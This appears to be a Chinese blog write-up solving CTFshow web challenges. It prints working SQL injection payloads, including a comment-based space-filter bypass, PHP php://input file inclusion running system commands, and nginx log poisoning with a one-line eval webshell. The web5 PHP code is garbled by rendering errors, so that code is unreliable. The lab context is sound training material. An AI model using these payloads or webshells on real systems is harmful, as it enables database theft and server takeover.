CTF show----web 解题笔记(web签到~web6)
baimao__沧海 2024-07-03 11:33:01 阅读 97
目录
web签到题
web2
考查点:
1.判断sql注入回显位置
2.查当前数据库名称
3.查看数据库表的数量
4.查表的名字
5.查flag表列的数量
6.查flag表列的名字
7.查flag表记录的数量
8.查flag表记录值
web3
web4
web5
web6
web签到题
where is flag? 直接F12去找一下
找到 Y3Rmc2hvd3s1YzYyZWE0Mi04M2E5LTRhNDUtODRiMi00NzJkZGViZTcxNGF9
通过base64解密,拿到flag
web2
查看了hint,直接使用hint中的payload
考查点:
基本的SQL注入多表联合查询
在用户名处注入sql语句,密码随意
1.判断sql注入回显位置
’ or 1=1 union select 1,2,3 limit 1,2;#–
得到在2有一处回显
2.查当前数据库名称
’ or 1=1 union select 1,database(),3 limit 1,2;#–
得到数据库名称web2
3.查看数据库表的数量
’ or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = ‘web2’),3 limit 1,2;#–
得到数据库表数量为2
4.查表的名字
第一个表:
’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 0,1),3 limit 1,2;#–
得到表名:flag
第二个表:
’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 1,2),3 limit 1,2;#–
得到表名:user
5.查flag表列的数量
’ or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–
只有1列
6.查flag表列的名字
’ or 1=1 union select 1,(select column_name from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–
列名为flag
7.查flag表记录的数量
’ or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#–
只有一条记录
8.查flag表记录值
’ or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#–
得到flag
web3
题目提示是一道php伪协议+文件包含的题目,通过get传递的参数是’url‘
使用Burp suite 抓包,发送给Repeater
构造php伪协议,通过url传递,?url=php://input
写入 <?php system("pwd");?>
写入 <?php system("ls");?>
发现在/var/www/html目录下有两个文件,ctf_go_go_go和index.php,传入cat ctf_go_go_go查看,得到flag
web4
乍一看和web3很像,查看提示,这是一道日志注入的文件包含,通过查看Response Headers得知对方web服务器使用的是Ubuntu+nginx
直接尝试在url后传入参数?url=/var/log/nginx/access.log
查看nginx默认日志,回显access.log的内容
启动Burp Suite抓包,在请求头中中写入一句话木马
<?php @eval($_POST['a']);?>
放包后通过蚁剑连接
连接成功,并发现在/var/www下有flag.txt文件,查看该文件得到flag
web5
页面打开是一段代码,应该是一道代码审计题。关键代码如下:
<?php
$flag=“”;
v
1
=
v1=
v1=_GET[‘v1’];
v
2
=
v2=
v2=_GET[‘v2’];
if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 5: v1) &̲& isset(v2)){
if(!ctype_alpha(
v
1
)
)
d
i
e
(
"
v
1
e
r
r
o
r
"
)
;
i
f
(
!
i
s
n
u
m
e
r
i
c
(
v1)){ die("v1 error"); } if(!is_numeric(
v1))die("v1error");if(!isnumeric(v2)){
die(“v2 error”);
}
if(md5(
v
1
)
=
=
m
d
5
(
v1)==md5(
v1)==md5(v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
ctype_alpha()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否仅包含字母。如果字符串只包含字母,它返回true
,否则返回FALSE。
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果字符串只包含数字,它返回true ,否则返回FALSE。
get传递两个参数,v1和v2,如果v1和v2条件判断都为真,且对v1和v2的MD5值进行碰撞结果为真,则返回flag,否则返回输出where is
flag。
这里是利用了php中的MD5函数漏洞,php是弱类型语言,在使用==判断的时候,只会判断参数值,不会判断参数类型。使用下面的php函数来看
<?php
$str1 = ‘QLTHNDT’;
s
t
r
2
=
′
24061070
8
′
;
i
f
(
m
d
5
(
str2 = '240610708'; if (md5(
str2=′240610708′;if(md5(str1)==md5($str2)) {
echo “TTTT!”;
} else {
echo “FFFF!”;
}
echo md5(KaTeX parse error: Undefined control sequence: \n at position 18: …r1); echo "\̲n̲,\n"; echo …str2);
echo “\n”;
从输出结果可以看到,str1和str2在php中的MD5用==判断是相等的,而实际上生成的是两段不一样的MD5值,两段MD5值都是0e开头的,在科学计数法中0e开头不管后边数是多少,他的数值都为0。
(参考[md5加密介绍以及php中md5的漏洞 - 腾讯云开发者社区-
腾讯云](https://cloud.tencent.com/developer/article/1556404 "md5加密介绍以及php中md5的漏洞
腾讯云开发者社区-腾讯云"))
操作:
同时传入参数,得到flag
?v1=QLTHNDT&v2=240610708
web6
出现登录窗口,猜测可能是SQL注入。bp抓包,修改username内容进行注入尝试。
发现注入失败,应该是sql注入,考虑换个绕过方式。
使用/**/代替空格尝试绕过
成功回显内容,说明对空格进行了过滤,可以使用/**/代替空格绕过
构造payload
1.找出回显位置
'//or//1=1//union//select/**/1,2,3#
得到回显位置为2
2.查找数据库名
'//or//1=1//union//select/**/1,database(),3#
3.查询数据库内数据表名称
'//or//1=1//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=‘web2’#
找到两个表,flag和user
4.查询flag表的字段
'//or//1=1//union//select//1,group_concat(column_name),3//from//information_schema.columns//where/**/table_name=‘flag’#
flag表中有flag字段
5.查看flag字段中的内容
'//or//1=1//union//select//1,flag,3//from/**/flag#
得到flag
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
扫码领取
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。